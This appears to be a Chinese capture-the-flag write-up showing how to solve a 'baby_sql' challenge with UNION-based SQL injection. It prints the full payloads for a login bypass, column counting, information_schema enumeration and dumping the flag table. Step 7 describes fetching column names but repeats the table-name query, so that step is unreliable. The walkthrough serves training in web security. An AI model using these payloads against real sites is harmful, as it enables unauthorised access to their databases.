baby_sql--union联合注入

1.题目

2.打开练习场景

看到这个

首先想到sql注入的万能密码1 'or' 1 '=' 1

username和password都输入1 'or' 1 '=' 1

得到结果,有点像数据库列表字段

3.使用order by语句,查询字段列

1' or 1=1 order by 4 #    失败
1' or 1=1 order by 3 #    成功

这里计算的是order by 后面的数字,根据数字来判断列是否对应,当数字与字段数不一致时,会报错,接着更改,查看字段内容

4.从3中可以知道有3个字段数,但显示出来的只有两个,因此使用union select来确定回显在页面的是哪几行的数据

-1' union select 1,2,3 #

通过网站回显出来的内容可以知道是字段的二、三行的数据

5.可以通过union select在第二、三数字的位置换成一些函数获取信息

如:-1' union select 1,2,database() #

从中得到,网站正在查询的数据库名是babysql

6.根据获取的数据库名来获取存在数据库中的数据表

-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='babysql') #

group_concat()将group by产生的相同分组的值连接成一个字符串(原本是分行显示),才使得查询结果能一并显示出来,否则将group_concat换成group_by,在网站输出时,会报错

group_concat回显内容:

7.根据获得表名,来获取表中的字段名,从上图来看,flag在flag表中

-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema='babysql' and table_name='flag')#

8.从获得的表名上来看,图中的flag为flag值,使用命令查看

-1' union select 1,2,(select group_concat(flag) from flag)#

成功找到flag值,flag{hioshrg}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值